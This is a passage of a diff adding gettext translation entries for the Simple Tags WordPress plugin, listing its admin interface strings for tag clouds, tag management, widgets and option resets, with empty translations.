+#: /2.7/inc/simple-tags.admin.php:530
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:468
+#: /2.7/inc/simple-tags.admin.php:531
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:469
+#: /2.7/inc/simple-tags.admin.php:532
+msgid "Order tags selection:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:434
+#: /2.3/inc/simple-tags.widgets.php:167
+#: /2.5/inc/simple-tags.admin.php:477
+#: /2.5/inc/simple-tags.widgets.php:155
+#: /2.7/inc/simple-tags.admin.php:540
+#: /2.7/inc/simple-tags.widgets.php:155
+msgid "Order tags display:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:437
+#: /2.5/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:543
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:483
+#: /2.7/inc/simple-tags.admin.php:546
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:442
+#: /2.5/inc/simple-tags.admin.php:485
+#: /2.7/inc/simple-tags.admin.php:548
+msgid "Include categories in tag cloud ?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:486
+#: /2.7/inc/simple-tags.admin.php:549
+msgid "Tags cloud type format:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:450
+#: /2.5/inc/simple-tags.admin.php:493
+#: /2.7/inc/simple-tags.admin.php:556
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:451
+#: /2.5/inc/simple-tags.admin.php:494
+#: /2.7/inc/simple-tags.admin.php:557
+msgid "Enter the text to show when there is no tag:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:559
+msgid "Most popular color:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:454
+#: /2.5/inc/simple-tags.admin.php:497
+#: /2.7/inc/simple-tags.admin.php:560
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:455
+#: /2.5/inc/simple-tags.admin.php:498
+#: /2.7/inc/simple-tags.admin.php:561
+msgid "Least popular color:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:456
+#: /2.5/inc/simple-tags.admin.php:499
+#: /2.7/inc/simple-tags.admin.php:562
+msgid "Most popular font size:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:457
+#: /2.5/inc/simple-tags.admin.php:500
+#: /2.7/inc/simple-tags.admin.php:563
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:458
+#: /2.5/inc/simple-tags.admin.php:501
+#: /2.7/inc/simple-tags.admin.php:564
+msgid "Least popular font size:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:502
+#: /2.7/inc/simple-tags.admin.php:565
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:460
+#: /2.5/inc/simple-tags.admin.php:503
+#: /2.7/inc/simple-tags.admin.php:566
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:505
+#: /2.7/inc/simple-tags.admin.php:568
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:476
+#: /2.5/inc/simple-tags.admin.php:519
+#: /2.7/inc/simple-tags.admin.php:582
+msgid "Options saved"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:480
+#: /2.5/inc/simple-tags.admin.php:523
+#: /2.7/inc/simple-tags.admin.php:586
+msgid "Simple Tags options resetted to default options!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:486
+#: /2.5/inc/simple-tags.admin.php:529
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:526
+#: /2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:597
+#: /2.7/inc/simple-tags.admin.php:611
+msgid "Do you really want to restore the default options?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:597
+#: /2.7/inc/simple-tags.admin.php:611
+msgid "Reset Options"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:534
+#: /2.5/inc/simple-tags.admin.php:548
+msgid "Uninstallation"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:554
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:555
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:544
+#: /2.5/inc/simple-tags.admin.php:558
+msgid "Delete all options ?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:568
+#: /2.3/inc/simple-tags.admin.php:1714
+#: /2.5/inc/simple-tags.admin.php:580
+#: /2.5/inc/simple-tags.admin.php:1751
+#: /2.7/inc/simple-tags.admin.php:627
+#: /2.7/inc/simple-tags.admin.php:1725
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:601
+#: /2.3/inc/simple-tags.widgets.php:171
+#: /2.5/inc/simple-tags.admin.php:613
+#: /2.5/inc/simple-tags.widgets.php:159
+#: /2.7/inc/simple-tags.admin.php:660
+#: /2.7/inc/simple-tags.widgets.php:159
+msgid "Most popular"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:602
+#: /2.3/inc/simple-tags.widgets.php:161
+#: /2.3/inc/simple-tags.widgets.php:172
+#: /2.5/inc/simple-tags.admin.php:614
+#: /2.5/inc/simple-tags.widgets.php:149
+#: /2.5/inc/simple-tags.widgets.php:160
+#: /2.7/inc/simple-tags.admin.php:661
+#: /2.7/inc/simple-tags.widgets.php:149
+#: /2.7/inc/simple-tags.widgets.php:160
+msgid "Least used"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:603
+#: /2.3/inc/simple-tags.widgets.php:158
+#: /2.3/inc/simple-tags.widgets.php:169
+#: /2.5/inc/simple-tags.admin.php:615
+#: /2.5/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:157
+#: /2.7/inc/simple-tags.admin.php:662
+#: /2.7/inc/simple-tags.widgets.php:146
+#: /2.7/inc/simple-tags.widgets.php:157
+msgid "Alphabetical"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:634
+#: /2.5/inc/simple-tags.admin.php:646
+#: /2.7/inc/simple-tags.admin.php:693
+msgid "Existing Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:638
+#: /2.5/inc/simple-tags.admin.php:650
+#: /2.7/inc/simple-tags.admin.php:697
+msgid "Search tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:642
+#: /2.5/inc/simple-tags.admin.php:654
+#: /2.7/inc/simple-tags.admin.php:701
+msgid "Go"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:645
+#: /2.5/inc/simple-tags.admin.php:658
+#: /2.7/inc/simple-tags.admin.php:705
+msgid "Sort Order:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:660
+#: /2.3/inc/simple-tags.admin.php:1844
+#: /2.5/inc/simple-tags.admin.php:676
+#: /2.5/inc/simple-tags.admin.php:1880
+#: /2.7/inc/simple-tags.admin.php:723
+#: /2.7/inc/simple-tags.admin.php:1847
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1859
+#: /2.3/inc/simple-tags.admin.php:1861
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1895
+#: /2.5/inc/simple-tags.admin.php:1897
+#: /2.7/inc/simple-tags.admin.php:731
+#: /2.7/inc/simple-tags.admin.php:1862
+#: /2.7/inc/simple-tags.admin.php:1864
+msgid "Previous tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1865
+#: /2.3/inc/simple-tags.admin.php:1867
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1901
+#: /2.5/inc/simple-tags.admin.php:1903
+#: /2.7/inc/simple-tags.admin.php:731
+#: /2.7/inc/simple-tags.admin.php:1868
+#: /2.7/inc/simple-tags.admin.php:1870
+msgid "Next tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:679
+#: /2.5/inc/simple-tags.admin.php:691
+#: /2.7/inc/simple-tags.admin.php:738
+msgid "Rename Tag"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:680
+#: /2.5/inc/simple-tags.admin.php:699
+#: /2.7/inc/simple-tags.admin.php:746
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:681
+#: /2.3/inc/simple-tags.admin.php:722
+#: /2.5/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:774
+#: /2.7/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:821
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:686
+#: /2.5/inc/simple-tags.admin.php:704
+#: /2.7/inc/simple-tags.admin.php:751
+msgid "Tag(s) to rename:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:687
+#: /2.5/inc/simple-tags.admin.php:708
+#: /2.7/inc/simple-tags.admin.php:755
+msgid "New tag name(s):"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:711
+#: /2.7/inc/simple-tags.admin.php:758
+msgid "Rename"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:693
+#: /2.5/inc/simple-tags.admin.php:717
+#: /2.7/inc/simple-tags.admin.php:764
+msgid "Delete Tag"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:694
+#: /2.5/inc/simple-tags.admin.php:725
+#: /2.7/inc/simple-tags.admin.php:772
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:695
+#: /2.5/inc/simple-tags.admin.php:726
+#: /2.7/inc/simple-tags.admin.php:773
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:730
+#: /2.7/inc/simple-tags.admin.php:777
+msgid "Tag(s) to delete:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:701
+#: /2.5/inc/simple-tags.admin.php:733
+#: /2.7/inc/simple-tags.admin.php:780
+msgid "Delete"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:706
+#: /2.5/inc/simple-tags.admin.php:739
+#: /2.7/inc/simple-tags.admin.php:786
+msgid "Add Tag"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:707
+#: /2.5/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:794
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:708
+#: /2.5/inc/simple-tags.admin.php:748
+#: /2.7/inc/simple-tags.admin.php:795
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:713
+#: /2.3/inc/simple-tags.admin.php:728
+#: /2.5/inc/simple-tags.admin.php:752
+#: /2.5/inc/simple-tags.admin.php:778
+#: /2.7/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:825
+msgid "Tag(s) to match:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:714
+#: /2.5/inc/simple-tags.admin.php:756
+#: /2.7/inc/simple-tags.admin.php:803
+msgid "Tag(s) to add:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:715
+#: /2.5/inc/simple-tags.admin.php:759
+#: /2.7/inc/simple-tags.admin.php:806
+msgid "Add"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:720
+#: /2.5/inc/simple-tags.admin.php:765
+#: /2.7/inc/simple-tags.admin.php:812
+msgid "Edit Tag Slug"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:721
+#: /2.5/inc/simple-tags.admin.php:773
+#: /2.7/inc/simple-tags.admin.php:820
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:732
+#: /2.5/inc/simple-tags.admin.php:782
+#: /2.7/inc/simple-tags.admin.php:829
+msgid "Slug(s) to set:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:737
+#: /2.3/inc/simple-tags.admin.php:916
+#: /2.5/inc/simple-tags.admin.php:785
+#: /2.5/inc/simple-tags.admin.php:1050
+#: /2.7/inc/simple-tags.admin.php:832
+#: /2.7/inc/simple-tags.admin.php:1065
+msgid "Edit"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:743
+#: /2.5/inc/simple-tags.admin.php:791
+#: /2.7/inc/simple-tags.admin.php:838
+msgid "Remove empty terms"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:744
+#: /2.5/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:846
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:748
+#: /2.5/inc/simple-tags.admin.php:800
+#: /2.7/inc/simple-tags.admin.php:847
+msgid "Clean !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:854
+#: /2.5/inc/simple-tags.admin.php:1020
+#: /2.7/inc/simple-tags.admin.php:1026
+msgid "Quantity&hellip;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:912
+#: /2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:936
+#: /2.5/inc/simple-tags.admin.php:1080
+#: /2.7/inc/simple-tags.admin.php:1096
+msgid "No content to edit."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1105
+#: /2.5/inc/simple-tags.admin.php:1338
+#: /2.7/inc/simple-tags.admin.php:1329
+msgid "No new tag specified!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1124
+#: /2.5/inc/simple-tags.admin.php:1353
+#: /2.7/inc/simple-tags.admin.php:1344
+msgid "No new/old valid tag specified!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1156
+#: /2.5/inc/simple-tags.admin.php:1389
+#: /2.7/inc/simple-tags.admin.php:1380
+msgid "No tag renamed."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1159
+#: /2.5/inc/simple-tags.admin.php:1391
+#: /2.7/inc/simple-tags.admin.php:1382
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1166
+#: /2.5/inc/simple-tags.admin.php:1398
+#: /2.7/inc/simple-tags.admin.php:1389
+msgid "No valid new tag."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1183
+#: /2.5/inc/simple-tags.admin.php:1415
+#: /2.7/inc/simple-tags.admin.php:1406
+msgid "No objects (post/page) found for specified old tags."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1208
+#: /2.5/inc/simple-tags.admin.php:1444
+#: /2.7/inc/simple-tags.admin.php:1433
+msgid "No tag merged."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1211
+#: /2.5/inc/simple-tags.admin.php:1446
+#: /2.7/inc/simple-tags.admin.php:1435
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1214
+#: /2.5/inc/simple-tags.admin.php:1449
+#: /2.7/inc/simple-tags.admin.php:1438
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1240
+#: /2.5/inc/simple-tags.admin.php:1476
+#: /2.7/inc/simple-tags.admin.php:1465
+msgid "No tag specified!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1265
+#: /2.5/inc/simple-tags.admin.php:1499
+#: /2.7/inc/simple-tags.admin.php:1488
+msgid "No tag deleted."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1268
+#: /2.5/inc/simple-tags.admin.php:1501
+#: /2.7/inc/simple-tags.admin.php:1490
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1280
+#: /2.5/inc/simple-tags.admin.php:1513
+#: /2.7/inc/simple-tags.admin.php:1502
+msgid "No new tag(s) specified!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1328
+#: /2.5/inc/simple-tags.admin.php:1564
+#: /2.7/inc/simple-tags.admin.php:1553
+msgid "No tag added."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1331
+#: /2.5/inc/simple-tags.admin.php:1566
+#: /2.7/inc/simple-tags.admin.php:1555
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1343
+#: /2.5/inc/simple-tags.admin.php:1578
+#: /2.7/inc/simple-tags.admin.php:1567
+msgid "No new slug(s) specified!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1359
+#: /2.5/inc/simple-tags.admin.php:1590
+#: /2.7/inc/simple-tags.admin.php:1579
+msgid "Tags number and slugs number isn't the same!"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1383
+#: /2.5/inc/simple-tags.admin.php:1617
+#: /2.7/inc/simple-tags.admin.php:1606
+msgid "No slug edited."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1386
+#: /2.5/inc/simple-tags.admin.php:1619
+#: /2.7/inc/simple-tags.admin.php:1608
+#, php-format
+msgid "%s slug(s) edited."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1404
+#: /2.5/inc/simple-tags.admin.php:1637
+#: /2.7/inc/simple-tags.admin.php:1626
+msgid "Nothing to muck. Good job !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1429
+#: /2.5/inc/simple-tags.admin.php:1665
+#: /2.7/inc/simple-tags.admin.php:1654
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1678
+#: /2.7/inc/simple-tags.admin.php:130
+msgid "Display click tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1679
+#: /2.7/inc/simple-tags.admin.php:131
+msgid "Hide click tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1504
+#: /2.5/inc/simple-tags.admin.php:1696
+#: /2.7/inc/simple-tags.admin.php:1682
+msgid "Suggested tags from :"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1505
+#: /2.5/inc/simple-tags.admin.php:1697
+#: /2.7/inc/simple-tags.admin.php:1683
+msgid "Local tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1506
+#: /2.5/inc/simple-tags.admin.php:1698
+#: /2.7/inc/simple-tags.admin.php:1684
+msgid "Yahoo"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1507
+#: /2.5/inc/simple-tags.admin.php:1699
+#: /2.7/inc/simple-tags.admin.php:1685
+msgid "Tag The Net"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1513
+#: /2.5/inc/simple-tags.admin.php:1702
+#: /2.7/inc/simple-tags.admin.php:136
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1742
+#: /2.5/inc/simple-tags.admin.php:1783
+#: /2.7/inc/simple-tags.admin.php:1757
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:1744
+#: /2.5/inc/simple-tags.admin.php:1781
+#: /2.7/inc/simple-tags.admin.php:1755
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2155
+#: /2.5/inc/simple-tags.admin.php:2189
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2274
+#: /2.5/inc/simple-tags.admin.php:2291
+#: /2.7/inc/simple-tags.admin.php:2213
+msgid "General"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2277
+#: /2.5/inc/simple-tags.admin.php:2294
+#: /2.7/inc/simple-tags.admin.php:2207
+msgid "Administration"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2280
+#: /2.5/inc/simple-tags.admin.php:2297
+#: /2.7/inc/simple-tags.admin.php:2216
+msgid "Meta Keyword"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2283
+#: /2.5/inc/simple-tags.admin.php:2300
+#: /2.7/inc/simple-tags.admin.php:2219
+#: /extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2286
+#: /2.5/inc/simple-tags.admin.php:2303
+#: /2.7/inc/simple-tags.admin.php:2222
+msgid "Tags for Current Post"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2289
+#: /2.5/inc/simple-tags.admin.php:2306
+#: /2.7/inc/simple-tags.admin.php:2225
+msgid "Related Posts"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2292
+#: /2.5/inc/simple-tags.admin.php:2309
+#: /2.7/inc/simple-tags.admin.php:2228
+msgid "Related Tags"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.admin.php:2295
+#: /2.5/inc/simple-tags.admin.php:2312
+#: /2.7/inc/simple-tags.admin.php:2231
+msgid "Tag cloud"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:143
+#: /2.5/inc/simple-tags.widgets.php:131
+#: /2.7/inc/simple-tags.widgets.php:131
+msgid "Empty field will use default value."
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:134
+#: /2.7/inc/simple-tags.widgets.php:134
+msgid "Title:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:151
+#: /2.5/inc/simple-tags.widgets.php:139
+#: /2.7/inc/simple-tags.widgets.php:139
+msgid "Max tags to display: (default: 45)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:156
+#: /2.5/inc/simple-tags.widgets.php:144
+#: /2.7/inc/simple-tags.widgets.php:144
+msgid "Tags selection:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:159
+#: /2.3/inc/simple-tags.widgets.php:170
+#: /2.5/inc/simple-tags.widgets.php:147
+#: /2.5/inc/simple-tags.widgets.php:158
+#: /2.7/inc/simple-tags.widgets.php:147
+#: /2.7/inc/simple-tags.widgets.php:158
+msgid "Inverse Alphabetical"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:160
+#: /2.5/inc/simple-tags.widgets.php:148
+#: /2.7/inc/simple-tags.widgets.php:148
+msgid "Most popular (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:162
+#: /2.5/inc/simple-tags.widgets.php:150
+#: /2.7/inc/simple-tags.widgets.php:150
+msgid "Random"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:173
+#: /2.5/inc/simple-tags.widgets.php:161
+#: /2.7/inc/simple-tags.widgets.php:161
+msgid "Random (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:178
+#: /2.5/inc/simple-tags.widgets.php:166
+#: /2.7/inc/simple-tags.widgets.php:166
+msgid "Font size mini: (default: 8)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:183
+#: /2.5/inc/simple-tags.widgets.php:171
+#: /2.7/inc/simple-tags.widgets.php:171
+msgid "Font size max: (default: 22)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:188
+#: /2.5/inc/simple-tags.widgets.php:176
+#: /2.7/inc/simple-tags.widgets.php:176
+msgid "Unit font size:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:190
+#: /2.5/inc/simple-tags.widgets.php:178
+#: /2.7/inc/simple-tags.widgets.php:178
+msgid "Point (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:191
+#: /2.5/inc/simple-tags.widgets.php:179
+#: /2.7/inc/simple-tags.widgets.php:179
+msgid "Pixel"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:192
+#: /2.5/inc/simple-tags.widgets.php:180
+#: /2.7/inc/simple-tags.widgets.php:180
+msgid "Em"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:193
+#: /2.5/inc/simple-tags.widgets.php:181
+#: /2.7/inc/simple-tags.widgets.php:181
+msgid "Pourcent"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:198
+#: /2.5/inc/simple-tags.widgets.php:186
+#: /2.7/inc/simple-tags.widgets.php:186
+msgid "Format:"
+msgstr ""
+
+
